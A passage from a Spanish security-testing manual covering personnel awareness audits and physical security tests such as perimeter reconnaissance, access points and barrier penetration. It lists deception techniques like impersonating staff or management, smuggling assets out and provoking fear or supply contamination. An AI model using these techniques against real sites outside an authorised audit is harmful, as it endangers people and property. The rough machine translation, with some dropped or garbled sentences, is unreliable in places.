Cursos, Seminarios, Charlas de divulgación y frecuencia de asistencia
para concientizar sobre la seguridad en general tanto física como lógica.
Proporcionados al personal, socios, clientes, y específicamente al
personal de los controles de acceso físico a las instalaciones.
7.9.2 Interrupción de la Política educativa sobre seguridad.

Descubrir y examinar el proceso y la profundidad de la auto-vigilancia del
personal para la interrupción o la no conformidad de la política de
seguridad.
7.9.3 Mapeo de Conciencia.

Mapa de las limitaciones descubiertas en el entrenamiento de
sensibilización de seguridad para el personal a través de análisis de
brechas con procedimientos reales, incluidos pero no limitado a: la
provisión de activos a través de cualquier canal, la capacidad de
reconocer la identificación impropiada y forjada o los métodos requeridos,
el método de la identificación entre el personal, el uso de medidas
personales de seguridad, para sí mismo y sus bienes, el manejo de activos
confidenciales y sensibles y la conformidad con la política de seguridad
organizacional.
7.9.4 Secuestro de la conciencia

Descubrir y examinar hasta qué punto una persona no oficial proporciona
información. Política de seguridad de manera autorizada, para eludir
deliberadamente o no romper la política de seguridad.
Página 339 de 430

7.10 Validación de la propiedad.

Ensayos para examinar la información y la propiedad física disponibles dentro
del alcance o proporcionados por el personal que puede ser ilegal o poco ético.
7.10.1 Compartir.
Verifique en qué medida las licencias individuales, privadas, son
compartidas entre el personal intencionalmente a través a través
bibliotecas de forma involuntaria, producto de una mala administración
de licencias y recursos o negligencia.
7.10.2 Mercado Negro.

Verifique como se han adquirido esas licencias que no pertenecen a la
librería de software registrado por la empresa y si se han adquirido en el
mercado negro, por tanto, son ilícitas y un grave riesgo para la empresa.
7.10.3 Canales de Venta.

Verificar que todas las ventas y negocios de la empresa se realizan bajo
las preceptivas medidas legales incluyendo el acceso a subastas, ventas
privadas.
7.11 Revisión de la segregación.
Pruebas para la separación apropiada de los activos de información: privada o

personal, de la información comercial. Así como de la revisión de la privacidad,
es el punto focal legal y ético, la transmisión y el control del personal, incluyendo
a los socios e información privada del cliente.
7.11.1 Medidas de contención de privacidad.

Medidas tomadas por los custodios, de los activos de información
privada dentro del ámbito, qué información se almacena; cómo y dónde
y sobre qué canales se comunica dicha información.
7.11.2 Información Evidente.

Enumerar y mapear la información relativa al personal. Tales como
nombres, raza, Sexo, religión, días de vacaciones, páginas web
personales, currículos publicados, afiliaciones personales, solicitudes,
Página 340 de 430

bancarias, registro electoral y cualquier información personal

implícitamente como privado en los reglamentos y las políticas. Dentro
del espacio de la UE se deben de tomar las medidas exigida por el
reglamento de protección de datos de carácter personal en un primer
nivel dado que existe obligación legal de cumplirlas sin menoscabo de
añadir otras como pueda ser la encriptación y la segregación / difusión
de datos atomizados.
7.11.3 Divulgación.
Examinar y documentar tipos de revelaciones de activos de información
privada por parte de los responsables de esta segregación de acuerdo
con la política y las regulaciones que no puede contradecir las leyes
locales, nacionales y por supuesto las reconocidas por el Derecho
internacional.
7.11.4 Limitaciones.
Examinar y documentar tipos de accesos físicos habilitados para
personas con limitaciones físicas dentro de esa instalación.
Página 341 de 430

7.12 Verificación de la exposición.
Pruebas para localizar la información que proporciona acceso autorizado

permitiendo un acceso a múltiples ubicaciones con la misma autenticación.
7.12.1 Control de la exposición

Enumerar la información sobre la organización, que cada integrante
dispone como: organigramas, personal clave funciones y
denominación del puesto, descripciones de trabajo, números de
teléfono personales y de trabajo, teléfono móvil, números tarjetas de
identificación, documentos compartidos, currículos, afiliaciones
organizacionales, privadas y públicas, direcciones de correo
electrónico, logins, esquemas de registro, contraseñas, métodos de
respaldo / verificación , aseguradores o cualquier información
organizacional implícita y confidencial en los reglamentos y políticas.
Toda esta información debe estar controlada y registrada, mantenerse
al día y debidamente sincronizada entre las áreas de Recursos
Humanos, Área Legal, así como Seguridad Física Control de Accesos
y Seguridad Lógica, con el fin de garantizar en todo momento que la
exposición a una intrusión no autorizada bien por atacantes, bien por
personal de terceros o exempleados sea mínima.
7.12.2 Perfiles.
Verifique que la organización, disponga de todos los tipos de perfiles
vinculados a los diferentes puestos de los empleados, con las
correspondientes las escalas de información.
7.13 Inteligencia Competitiva.

Prueba de propiedad de barrido que se puede analizar como
inteligencia de negocios. Mientras que la inteligencia competitiva
como un campo está relacionada con la comercialización, el proceso
aquí incluye cualquier forma de reunión de inteligencia competitiva,
incluyendo, pero no limitado a espionaje económico e industrial.
Página 342 de 430

7.13.1 Rectificación de negocios.

Controladores de mapas de activos empresariales dentro del alcance,
qué información se almacena, cómo y dónde se almacena la
información y qué canales la información se comunica entre el
personal.
7.13.2 Entorno empresarial.
Explorar y documentar desde el personal individual detalles
empresariales tales como alianzas, socios, principales clientes,
vendedores, distribuidores, inversionistas, relaciones comerciales,
producción, desarrollo, información de productos, planificación
estratégica, acciones y comercio y cualquier información o propiedad
comercial específica declarada implícitamente Como confidencial en
los reglamentos y políticas.
7.13.3 Entorno organizacional.
Examinar y documentar tipos de revelaciones de activos de negocios
de los supervisores sobre operaciones, procesos, jerarquía, informes
financieros, oportunidades de inversión, fusiones, adquisiciones,
inversiones de canal, mantenimiento de canales, políticas sociales
internas, insatisfacción del personal y tasa de cambio, Las
contrataciones, los despidos y cualquier activo organizacional
específico declarado implícitamente como confidencial en las
regulaciones y políticas.
7.14 Verificación de cuarentena.
Pruebas para verificar el correcto emplazamiento y contención de contactos

agresivos u hostiles en los puntos de acceso.
7.14.1 Identificación del proceso de contención.

Identificar y examinar los métodos de cuarentena y el proceso en las
puertas de entrada en todos los canales para los contactos agresivos
y hostiles, tales como vendedores, cazadores de cabezas,
periodistas, competidores, buscadores de empleo, candidatos a
puestos de trabajo y personas perturbadoras.
Página 343 de 430

7.14.2 Niveles de contención.

Verifique el estado de contención, la duración del tiempo y todos los
canales en los que cuidadores guardianes custodios o vigilantes
tienen métodos de cuarentena. Asegúrese de que los métodos estén
dentro del contexto legal y los límites.
7.15 Auditoría de privilegios.
Prueba donde se proporcionan las credenciales al usuario y se concede el

permiso para probar con esas credenciales.
7.15.1 Identificación.
Examinar y documentar el proceso para obtener la identificación a
través de medios legítimos y fraudulentos en todos los canales.
7.15.2 Autorización.
Verificar el uso de autorización fraudulenta en todos los canales para
obtener privilegios similares a los de otro personal.
7.15.3 Escalamiento.
Verificar y mapear el acceso a los activos mediante el uso de
privilegios para obtener privilegios más altos o más amplios más allá
de lo que se designa autoritariamente para el rol.
7.15.4 Discriminación.
Verificar la información solicitada y los privilegios otorgados por los
guardianes en los casos en que la edad (específicamente aquellos
que son legalmente menores para la región), el sexo, la raza, la
costumbre / cultura y la religión son factores que pueden ser
discriminados de acuerdo con la revisión de la política reglamentos.
7.15.5 Subyugación.
Enumerar y probar las insuficiencias de los activos comunicados a
través de canales en los que no se requieren dichos controles,
pueden ser eludidos o ignorados, como correo electrónico inseguro
o una línea telefónica pública.
Página 344 de 430
7.16 Continuidad del servicio
Determinar y medir la resiliencia de los guardianes dentro del alcance a cambios

excesivos o hostiles diseñados para causar fallas de servicio.
7.16.1 Resiliencia.
Enumerar y probar las insuficiencias en todos los canales del
personal dentro del ámbito por el cual la remoción o el silencio del
personal de la pasarela permitirá el acceso directo a los activos.
7.16.2 Continuidad.
Enumerar y probar las insuficiencias de todo el personal con
respecto a los retrasos en el acceso y el tiempo de respuesta del
servicio a través de personal de respaldo o medios automatizados
para el acceso al personal alternativo de la pasarela.
7.16.3 Seguridad.
Elaborar y documentar el proceso de desvinculación de los canales
por motivos de evacuación o preocupaciones de seguridad como
un análisis de lagunas con la regulación y la política de seguridad.
7.17 Encuesta final.
Un análisis de la brecha entre las actividades realizadas con la prueba y la

verdadera profundidad de esas actividades registradas o de percepciones de
terceros tanto humanas como mecánicas.
7.17.1 Alarma.
Verificar y enumerar el uso de un sistema de advertencia, registro
o mensaje de localización o ámbito de alcance para cada pasarela
de acceso sobre cada canal en el que el personal sospeche que
hay sospechas de intentos de elusión, ingeniería social o actividad
fraudulenta.
7.17.2 Almacenamiento y recuperación.

Documente y verifique el acceso privilegiado y eficiente a las
ubicaciones y propiedades de almacenamiento de alarmas,
registros y notificaciones.
Página 345 de 430

Capítulo 8 - Pruebas de Seguridad Física.
PHYSSEC (Seguridad Física) es una clasificación para la seguridad material

dentro del ámbito físico que es dentro de los límites del espacio 3D humano-
interactivo. La prueba de este canal requiere interacción con las barreras y los
seres humanos en las posiciones de guardián de los activos.
Este canal cubre la interacción del Analista en la proximidad de los objetivos.

Mientras que algunos servicios consideran esto simplemente como
"incumplimiento", el verdadero objetivo de cumplimiento de las pruebas de
seguridad en este es una prueba de barrera física y lógica y una medición de
hueco con el estándar de seguridad en la política de la empresa, en las
regulaciones de la industria o en la legislación regional.
Se requerirá que el Analista tenga múltiples herramientas y métodos para

completar algunas tareas para asegurar sospecha no se plantea entre el
personal y las pruebas no son inválidas debido a un descubrimiento temprano o
Paranoia aumentada. También puede ser pertinente limitar los sujetos de prueba
a uno por departamento u otro límite. Los analistas también deberán estar
preparados para la posibilidad de lesiones corporales barreras y armas
convencionales, interacciones con animales, sujeción a bacterias dañinas, virus
y hongos, exposición a la radiación electromagnética y de microondas,
especialmente aquella que puede daño auditivo o visual, y agentes químicos
venenosos o corrosivos en cualquier forma.
Los Analistas Competentes requerirán fuerza física, resistencia, agilidad y

habilidades de pensamiento crítico para asegurar La recopilación de datos
fácticos crea resultados fácticos a través de la correlación y el análisis.
Consideraciones.

segura y de alta calidad:
1. Conatos: Todos los intentos de atravesar barreras físicas requieren un juicio

imparcial de la cantidad de dificultad requerida para alcanzar e interactuar con el
objetivo y el peligro involucrado. Estas consideraciones deben hacerse con
respecto a la "voluntad de vivir" de los seres humanos, así como cualquier efecto
sobre los objetivos si el ataque se realiza sin tener en cuenta la vida (suicida).
2. Ecce hora: Todas las pruebas físicas requieren una gran atención al tiempo.
Se deben mantener registros del tiempo en que se realiza la prueba, el tiempo
en el objetivo y el tiempo en que la prueba finaliza, con éxito o no, porque también
ayudará a determinar lo que se puede lograr dentro del intervalo de tiempo para
fallar. Conocer tal información puede ayudar a entender lo que puede ser un
ataque engañoso para asegurar recursos No se desperdician en una zona
dejando otra abierta.
Página 346 de 430

3. Abuso de discreción: El analista debe tener cuidado de no ignorar o

malinterpretar los resultados de la prueba de una barrera física u obstáculo, ya
que no está dentro del rango de las posibilidades físicas del analista. El Analista
debe permanecer imparcial y no sobreestimar o sobrevalorar las habilidades y
habilidades personales y en su lugar aplicar las pruebas como una persona
altamente cualificada y altamente capaz podría.
4. Magister pecuarius: El analista no debe descartar el potencial razonable de un

atacante utilizando animales entrenados para eludir barreras y obstáculos donde
un ser humano no puede.
5. Negligencia plausible: No se llevarán a cabo pruebas directas o físicas de

seguridad del personal para el personal que no ha sido entrenado, informado o
que se puede decir que posee experiencia u obligaciones de seguridad debido a
los requisitos de responsabilidad laboral.
6. Sui generis: Toda interacción con las barreras físicas dejará un registro de
esta interactividad y, en casos más extremos, puede debilitar o destruir la
barrera. El analista debe tener cuidado al probar objetivos de un tipo que no sean
reemplazables. El analista también debe tener cuidado de no dejar marcaciones
permanentes donde sea posible y mantener un registro de todas las barreras
probadas para verificar si hay daño después de la auditoría.
Página 347 de 430

8.1 Revisión de la Política.
Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las
seguridad y privacidad para el ámbito. Esta revisión forma una matriz a la que
Las pruebas deben ser mapeadas, pero no restringidas.
8.1.1 Política.
Revisar y documentar la política organizacional apropiada con respecto
a la seguridad, la seguridad, la integridad (es decir, cadena de
suministro) y requisitos de privacidad para las barreras en el ámbito.
8.1.2 Legislación y reglamentos.

regulaciones de la industria requisitos de seguridad y privacidad de la
organización en el ámbito de aplicación, así como que incluye a los
clientes apropiados, socios, sucursales de organización, o revendedores
fuera del alcance.
8.1.3 Cultura.
Revisar y documentar la cultura organizacional apropiada en el ámbito
de la seguridad y la sensibilización sobre la privacidad, capacitación del
personal requerido y disponible, jerarquía organizacional y Reconoció la
interacción de confianza entre los empleados.
8.1.4 Relaciones.
Revisar y documentar las relaciones de influencia apropiadas entre el
personal de la Jerarquía organizacional dentro del ámbito de aplicación.
8.1.5 Cultura regional.

Revisar y documentar la influencia apropiada de las culturas regionales
y extranjeras en la seguridad, la jerarquía, la cadena de suministro y los
servicios en el entorno en el que reside el ámbito.
Página 348 de 430

8.1.6 Economía.
Revisar y documentar la influencia apropiada de la economía y la escala
salarial sobre el estatus social intención criminal en el personal tanto del
vector del personal dentro del alcance como de la La comunidad exterior
en la que reside el ámbito.
8.1.7 Medio ambiente.

Revisión de la región de destino los patrones climáticos, extremos
peligrosos (es decir, inundaciones, Tornados, huracanes), temperaturas
extremas, máximos de humedad, calidad del aire, estabilidad tectónica,
fauna típica, formas de desastres naturales o provocados por el hombre
e infestación general de insectos.
8.2 Logística
Preparación del entorno de prueba de canales necesario para prevenir falsos

positivos y falsos negativos que conducen a resultados de pruebas inexactos.
8.2.1 Medio ambiente.

(A) Examinar el alcance para determinar si se requiere algún equipo
especial para el ambiente de los objetivos. El equipo puede ir de la
cuerda a las paredes de escalada hasta el equipo de buceo para viajar
bajo el agua. Los tipos de equipos no se limitan sólo al medio ambiente
sino también a las barreras que uno debe evitar.
(B) Verifique que el equipo de seguridad dañado pueda causar lesiones
a los analistas.
(C) Examinar los objetivos de terreno, aire, agua, edificios o estructuras
peligrosos, contaminados o mal mantenidos.
(D) Examinar el ruido, la radiación electromagnética y los niveles del
campo magnético en el alcance.
8.2.2 Comunicaciones.
A) Compruebe qué idiomas se utilizan dentro del ámbito de aplicación
y qué lenguas se comunican entre el ámbito de aplicación y los clientes,
socios y revendedores que se encuentran fuera del ámbito de
aplicación.
Página 349 de 430

B) Examinar los medios de comunicación entre el personal y si se

mejora mediante el uso de instrumentos tales como banderas,
bengalas, radios, binoculares, visión nocturna, etc.
8.2.3 Tiempo.
(A) Pruebe el horario, los días festivos y los horarios de trabajo para
varios roles y trabajos dentro del ámbito, incluidos socios,
revendedores y clientes influyentes que interactúan con el ámbito.
(B) Determine si la disminución de la movilidad o visibilidad durante la

hora del día, semana, mes o estación (día o noche, niebla, lluvia o
nieve) tendrá un impacto sobre las operaciones en el objetivo.
8.3 Verificación de detección activa.

el filtro o negar los intentos de realizados antes de la prueba para mitigar el riesgo
de crear falsos positivos y negativos, en los datos del resultado de la prueba, así
como el cambio del estado de alarma del personal de vigilancia o agentes.
8.3.1 Supervisión.
(A) Verificar que el alcance es supervisado por un tercero para la intrusión

a través de miradores, guardias, cámaras, o sensores. La fecha y hora de
entrada, así como la salida de la meta debe ser registrada.
B) Determinar el alcance de la vigilancia y determinar si el desplazamiento

de una amenaza a la Interceptados de manera oportuna.
(C) Verificar si el viaje hacia el objetivo requiere un aumento del tiempo en

el objetivo y la exposición. Esto incluye, pero es No se limitan a: cuartos
de cuarentena, pasillos largos vacíos, estacionamientos, grandes
extensiones vacías, difícil o terreno no natural, y las áreas de invitado o la
celebración.
Página 350 de 430

(D) Verificar que la iluminación y el contraste visible al acercarse al

objetivo permita la interceptación de amenazas.
8.3.2 Reaccionando.
(A) Verificar si los controles interactivos para el objetivo reaccionarán

oportunamente a condiciones ambientales extremas de acuerdo con la
tarea de revisión del medio ambiente de la revisión de la política
(B) Verificar si el objetivo reaccionará oportunamente a una perturbación

en la calidad del aire, el agua y el suelo.
(C) Verificar si el objetivo reaccionará oportunamente a las perturbaciones

críticas del ruido.
(D) Verificar si el objetivo reaccionará oportunamente a las perturbaciones

del campo magnético.
(E) Verificar si el objetivo reaccionará de manera oportuna a los incendios.
(F) Verificar si el objetivo reaccionará en forma oportuna a la denegación

del acceso al blanco mediante bloqueo o cuarentena.
(G) Verificar si el objetivo reaccionará oportunamente ante las amenazas
de temor, rebelión o violencia dentro del alcance.
(H) Determinar la finalidad de la interceptación de amenazas.
8.4 Auditoría de Visibilidad.
Ensayos de enumeración y verificación para la visibilidad de objetivos y activos.

En PHYSSEC, los activos también deben incluir suministros tales como
alimentos, agua, combustible, etc. y procesos operativos que pueden afectar a
dichos suministros, como la eliminación adecuada de residuos y otros
contaminantes, carga y descarga de envíos de suministros, ciclos de sueño y
reposo, Etc.
8.4.1 Reconocimiento
(A) Mapear y detallar el perímetro de alcance determinado por

técnicas de visualización visibles y asistidas, áreas públicamente
accesibles, planes públicos y fuentes públicas.
(B) Enumerar y detallar objetivos y activos visibles fuera del ámbito.
(C) Enumerar y detallar los patrones de tráfico objetivo, tráfico

peatonal, áreas ocupadas y sensores visibles fuera del alcance.
(D) Enumerar directorios y libretas telefónicas internas que

identifiquen ubicaciones de instalaciones de procesamiento de
Página 351 de 430

información confidenciales que no sean fácilmente accesibles por

el público.
(E) Mapear y enumerar la ubicación física y el diseño de los

objetivos, el tamaño y la navegabilidad de los obstáculos, barreras
y peligros que aumentarán el tiempo en el blanco.
8.5 Verificación de acceso.
Prueba para la enumeración de puntos de acceso para interactuar con los

objetivos y los activos dentro del alcance. Si bien el acceso a muros y cercas que
bordean una propiedad fuera del alcance es un escenario real y se utiliza a
menudo en un ataque, esta auditoría se limita a la interacción de ámbito sólo
para proteger los derechos de propiedad de terceros.
8.5.1 Enumeración:
(A) Mapear y explorar la navegabilidad del terreno, las barreras, y

los obstáculos en el alcance para alcanzar los objetivos y los
activos. Documentar todos los métodos utilizados y los resultados
de dichos métodos.
(B) Mapear y verificar todos los puntos de acceso que permitan la

interacción furtiva o no controlada, directa (3 segundos o menos
tiempo en el blanco) con el objetivo.
(C) Verificar el tamaño y navegabilidad de los puntos de acceso

públicos y privados y de todos los caminos a los que dirigirse.
8.5.2 Autenticación:
(A) Enumerar y probar las insuficiencias a las que se requieren los

privilegios para acceder, el proceso de obtención de esos
privilegios y asegurar que sólo se permita el acceso a las partes
identificables, autorizadas y previstas.
(B) Verificar el proceso de autenticación de los elementos que

pueden ser incluidos en el ámbito por personal autorizado y no
autorizado.
(C) Verificar el proceso de autenticación de los elementos que

pueden ser retirados del alcance por personal autorizado y no
autorizado.
(D) Compruebe el proceso de registro de acceso y qué elementos

fueron introducidos y eliminados.
Página 352 de 430

8.5.3 Ubicación:
(A) Muestre la distancia desde el perímetro del alcance a los objetivos

y activos visibles fuera del ámbito.
(B) Trazar e identificar todos los caminos a los puntos de acceso que
se pueden alcanzar en una interacción ruidosa, no furtiva, directa
(3 segundos o menos tiempo en el blanco) con ese punto de
acceso. Esto puede incluir ataques que son conatos (sin tener en
cuenta la vida del atacante)
8.5.4 Penetración:
(A) Determinar qué barreras y obstáculos en el ámbito de aplicación

proporcionan acceso remoto al cambio, la interrupción, la
destrucción o la obtención de activos (visual, auditiva y
magnética).
B) Determinar la eficacia de las barreras y los obstáculos para

soportar las condiciones definidas en la Revisión de Postura.
(B) Determine y evalúe la efectividad de las barreras y obstáculos

para soportar el fuego, las explosiones y las fuerzas generales
de concusión, como los disparos y el choque vehicular.
(C) Determinar y evaluar la efectividad de las barreras y obstáculos

para reducir la entrada: niveles críticos de ruido, calor, frío,
humo, humedad, olores disruptivos o cáusticos, campos
magnéticos intensos, luz dañina y contaminantes.
(D) Determinar y evaluar la efectividad de las barreras y obstáculos

para reducir los salientes: sonidos, olores, vibraciones,
condiciones de aclimatación, humo, campos magnéticos,
residuos y contaminantes.
Página 353 de 430

8.6 Confiar en la verificación
Pruebas de verificación entre procesos dentro del ámbito en el que trust se

refiere al acceso a activos sin la necesidad. Para su identificación o
autenticación.
8.6.1 Declaración falsa.

(A) Comprobar y documentar la profundidad de los requisitos para el
acceso a los activos con el uso de Representación falsa como miembro
del personal de apoyo o de entrega "interno" sin cartas credenciales.
(B) Comprobar y documentar la profundidad de los requisitos para el
acceso a los activos con el Tergiversación como una persona con
discapacidad.
8.6.2 Fraude.
Probar y documentar la profundidad de los requisitos para el acceso a los
activos con el uso de representación de la autoridad como miembro de la
dirección u otro personal clave.
8.6.3 Dirección incorrecta.

activos con el uso de tergiversación como miembro del personal de apoyo
o entrega fuera del ámbito.
8.6.4 Estiba
activos a través de la estiba transporte de la ayuda o de la entrega para
tomar la estiba fuera del alcance.
8.6.5 Malversación de fondos.

Probar y documentar la profundidad de los requisitos para ocultar los
activos dentro del ámbito destruidos), sacar activos fuera del alcance a
una fuente conocida y confiable, ya lo largo de alcance a otro personal sin
ninguna credencial establecida y requerida.
Página 354 de 430

8.6.6 En Terrorismo.
Prueba y documenta la profundidad de los requisitos para incitar al miedo,
la rebelión, la violencia y el caos, la interrupción de los procesos y la
contaminación de los suministros.
8.7 Verificación de controles
Pruebas para enumerar los tipos de controles de pérdidas utilizados para

proteger el valor de los activos.
8.7.1 No repudio.
Enumerar y probar el uso o insuficiencias de monitores y sensores para
identificar y registrar correctamente acceso o interacciones con los activos
para pruebas específicas para desafiar el repudio. Documente en
profundidad de la interacción que se registra.
8.7.2 Confidencialidad.
Enumerar y probar el uso o las deficiencias de todas las señales,
comunicación física y entre los procesos internos y externos y el personal
que utiliza códigos, lenguaje indescifrable, interacciones personales
"tranquilas" o "cerradas" para promover la confidencialidad de la
comunicación sólo a aquellos con la calificación de seguridad adecuada
clasificación para esa comunicación.
8.7.3 Privacidad.
Enumerar y probar el uso o insuficiencias de todas las interacciones
dentro del alcance usando empaquetado o etiquetado no marcados o no
obvios, interacciones de "silencio" o "habitación cerrada", y dentro de
cuartos elegidos al azar para ocultar o proteger la privacidad de la
interacción y sólo a aquellos con la autorización de seguridad adecuada
para ese proceso o activo.
8.7.4 Integridad.
(A) Enumerar y probar las insuficiencias en todas las señales y la
comunicación entre procesos Y el personal que utiliza un proceso
documentado, sellos, firmas, hashing o marcas cifradas para proteger y
Página 355 de 430
asegurar que los activos no pueden ser cambiados, redirigidos, o

invertidos sin él siendo conocido por las partes involucradas.
(B) Enumerar y probar las insuficiencias en todos los procesos e
interacciones con los activos en el transporte que utilizan un proceso
documentado, firmas, sellos, cinta de separación, marcas, etiquetas,
sensores o encriptadas para proteger y asegurar que los activos no
pueden ser cambiados, redirigidos o Sin que las partes interesadas las
conozcan.
(C) Verificar que todos los medios de almacenamiento para información
no están en peligro de decaimiento no natural como calor o humedad,
desvanecimiento de la luz directa del sol o degradación magnética
(putrefacción de los bits).
8.8 Verificación del proceso.
Pruebas para examinar el mantenimiento de las operaciones de seguridad

funcional en los procesos establecidos y la debida diligencia según se define en
la revisión de la política.
(A) Examinar y documentar la oportunidad, adecuación, acceso y

extensión de los procesos de reparación de equipos y barreras con
respecto a la seguridad operativa, la seguridad real y los controles de
pérdidas.
(B) Verificar la reparación y determinar en qué medida la notificación y la
calidad de las reparaciones pueden ser falsificadas y falsificadas.
8.8.2 Indemnización
(A) Documentar y enumerar la capacidad de abusar o eludir la política de

los empleados, seguros, no divulgación, no competencia, contratos de
responsabilidad o renuncias de uso / usuario para el personal dentro del
alcance.
(B) Enumerar el uso de señales de advertencia de peligro, vigilancia o
alarmas en vigor, problemas de salud y avisos de no entrada.
(C) Verificar el alcance y la finalidad de la acción legal utilizada para
sostener la indemnización.
Página 356 de 430
8.9 Verificación de la configuración.
Pruebas para examinar el funcionamiento de procesos bajo diferentes niveles de

condiciones de seguridad. Comprender cómo funcionan los procesos bajo la
rutina diaria y las eficiencias proporciona una visión de cómo deben comportarse
bajo condiciones más extremas.
8.9.1 Mapeo educativo.

Tipos de mapas y frecuencia de asistencia física de seguridad y
seguridad, cursos de educación y capacitación proporcionados al
personal, socios, clientes y específicamente a los guardianes.
8.9.2 Interrupción de la Política.

Descubrir y examinar el proceso y la profundidad de la auto-vigilancia del
personal para la interrupción o no conformidad de la seguridad física y la
política de seguridad.
8.9.3 Condiciones de amenaza
(A) Mapa de las respuestas listas de los procesos de seguridad en

reacción a los niveles de mayor amenaza de la condición (es decir, verde,
amarillo, naranja y rojo alertas) según los requisitos determinados en la
revisión de la política.
B) Determinar qué disparadores son necesarios para aumentar los niveles
de amenaza y verificar que se cumplen.
(C) Asignar el mapa de las respuestas de los procesos de seguridad en
respuesta a la disminución de los niveles de condición de amenaza según
los requisitos establecidos en la revisión de la política.
D) Descubrir y examinar hasta qué punto una persona no oficial
proporciona información errónea sobre los niveles de amenaza de una
manera autorizada para elevar o disminuir deliberadamente el estatus de
listo.
Página 357 de 430

8.10 Validación de la propiedad.

Pruebas para examinar las propiedades físicas disponibles dentro del alcance o
proporcionadas por personal que Ilegal o poco ético.
8.10.1 Compartir.
Verificar la medida en que los activos personales o los de la organización
han sido falsificados, reproducidos o compartidos ilegal e
intencionalmente de acuerdo con los requisitos de la revisión de la política.
Revisar a través de compartir, prestar, alquilar o alquilar servicios,
bibliotecas personales y personales cachés o involuntariamente por
ignorancia o negligencia.
8.10.2 Mercado Negro.

Verificar el grado en que los activos personales o los de la organización
han sido falsificados o reproducidos y están siendo promovidos,
comercializados o vendidos entre el personal o por organización.
8.10.3 Canales de ventas.

Verifique los activos en las subastas, los mercados de pulgas, los
anuncios de interés, las ventas de garaje, los contratos de canje o las
ventas de propiedades que proporcionar información de contacto a través
de canales que se originan dentro del ámbito de aplicación.
8.10.4 Almacenamiento.
(A) Verificar que las ubicaciones de almacenamiento y los caches
pequeños de activos de ubicación dentro del alcance.
(B) Verificar las ubicaciones de almacenamiento y los caches pequeños
de los activos de la organización para su uso o venta en público o
A otros miembros de la organización no están deliberadamente ocultos,
atesorados, controlados, o guardado.
Página 358 de 430

8.10.5 Abuso de recursos.

(A) Enumerar artículos personales que consumen energía, combustible,
alimentos, agua u otros activos dentro del requisitos definidos en la
revisión de la política.
(B) Enumerar artículos personales usando canales que son propiedad de
la organización (es decir, Servidores de Internet, jukeboxes, máquinas de
fax, etc.).
(C) Enumera objetos personales visiblemente visibles que simbolizan
creencias que no están dentro de los requisitos definido en la revisión de
la política.
8.11 Revisión de la segregación.
Prueba para la separación apropiada de la propiedad de información privada o

personal de información comercial. Al igual que una revisión de la privacidad, es
el punto focal del almacenamiento legal y ético, el transporte y el control de la
propiedad de información privada del personal, socios y clientes.
8.11.1 Mapeo de contención de privacidad

Ubicaciones de almacenamiento de mapas de la propiedad de
información privada dentro del ámbito, qué información se almacena,
cómo y dónde se almacena la información, y cómo y dónde se descarta
la propiedad.
8.11.2 Información Evidente
Enumerar y mapear desde los documentos de destino y la propiedad física
con información personal no segura como se define implícitamente como
privada en las regulaciones y políticas (es decir, nombres completos, raza,
sexo, religión, días de vacaciones, páginas web personales, currículos
publicados, afiliaciones personales, Consultas de directorio, sucursal
bancaria, registro electoral, etc.).
8.11.3 Divulgación
Verificar el acceso a los almacenes de propiedad de información privada
del personal según lo determinado en la revisión de la política.
8.11.4 Limitaciones
Examinar y documentar alternativas de movilidad accesibles a las
personas con limitaciones físicas dentro de ese canal.
Página 359 de 430

8.11.4 Materiales ofensivos

Verificar que la propiedad personal abiertamente visible no se muestra o
ofende como determinada ofensiva o privada en la revisión de la política.
8.12 Verificación de la exposición.
Prueba para descubrir información que proporciona o lleva a acceso autenticado

o permite el acceso a múltiples ubicaciones con la misma autenticación.
8.12.1 Asignación de la exposición

Descubra y enumere documentos y artículos no garantizados con
información sobre la organización, como planos, logística, horarios,
claves, fichas de acceso, insignias, uniformes o cualquier activo
organizacional específico que proporcione un acceso más amplio o más
amplio.
8.12.2 Perfiles
(A) Perfile y verifique la definición estructural de los objetivos, incluyendo
el tipo de material, la altura, el espesor y las propiedades de seguridad o
seguridad.
B) Descubrir y enumerar sensores de control de acceso, cámaras,
monitores, sifones, jaulas, puertas, cercas, etc. para el tipo, la tecnología,
el fabricante, los materiales y las propiedades de seguridad o seguridad.
8.13 Inteligencia Competitiva.
Prueba de propiedad de barrido que se puede analizar como inteligencia de

negocios. Aunque competitiva la inteligencia como un campo está relacionado
con la comercialización, el proceso aquí incluye cualquier forma de competencia
Incluyendo, pero no limitado a, el espionaje económico e industrial.
8.13.1 Rectificado empresarial

Descubra y mapee las ubicaciones de almacenamiento de la propiedad
empresarial dentro del alcance, qué información es almacenado, cómo y
dónde se almacena la información, y cómo y dónde se descarta la
propiedad.
Página 360 de 430

8.13.2 Entorno empresarial

Descubra y enumere documentos y artículos con detalles de negocios
tales como personal, tarifas de pago, alianzas, socios, principales
clientes, vendedores, distribuidores, inversionistas, relaciones
comerciales, producción, desarrollo, información de productos,
planificación, stocks y comercio, y cualquier negocio en particular
información o propiedad determinada implícitamente como confidencial
o no competir desde la política revisada
8.13.3 Entorno organizacional

Descubrir y enumerar documentos y elementos con detalles
organizativos como procesos, jerarquía, información financiera,
oportunidades de inversión, fusiones, adquisiciones, inversiones en
canales, Mantenimiento de canales, políticas sociales internas,
insatisfacción y tasa de cambio de personal, Los tiempos de vacaciones,
las contrataciones, los despidos y cualquier propiedad organizacional
específica declarada implícitamente como Confidencial o no competir a
partir de la política revisada.
8.13.4 Entorno Operacional

Descubrir y enumerar procesos que exponen detalles operativos tales
como envasado, envío, distribución, tiempos de llegada y salida de los
empleados, dirección, clientes, métodos de Interacción, planes de
publicidad y marketing, desarrollo de producto, capacidad del producto y
Propiedad operativa particular declarada implícitamente como
confidencial o no competir desde la revisión de la política.
Página 361 de 430

Pruebas para verificar el correcto emplazamiento y contención de personas y

procesos con intención agresiva o hostil dentro del alcance.
8.14.1 Identificación del proceso de contención
(A) Identificar y examinar los métodos y procesos de cuarentena

física dentro del alcance de contactos agresivos y hostiles tales
como personas caóticas o violentas, vendedores no
programados, cazadores de cabezas, asesinos, periodistas,
competidores, buscadores de empleo, candidatos a empleo y
personas perturbadoras.
(B) Identificar y examinar los métodos y procedimientos de

cuarentena física dentro del ámbito de la gestión de sustancias o
sustancias peligrosas y dañinas, sustancias ilegales y bienes de
la compañía extraídos ilegalmente.
(C) Identificar y examinar los métodos y procesos de cuarentena

física dentro del alcance para el comportamiento meramente
sospechoso o artículos y sustancias de utilidad sospechosa.
8.14.2 Niveles de contención
(A) Verificar el estado del lugar de contención, el tiempo y el

proceso del método de cuarentena. Asegúrese de que los métodos
estén dentro del contexto y los límites legales según la revisión de
la política.
(B) Verificar que se sigan los procedimientos apropiados para un

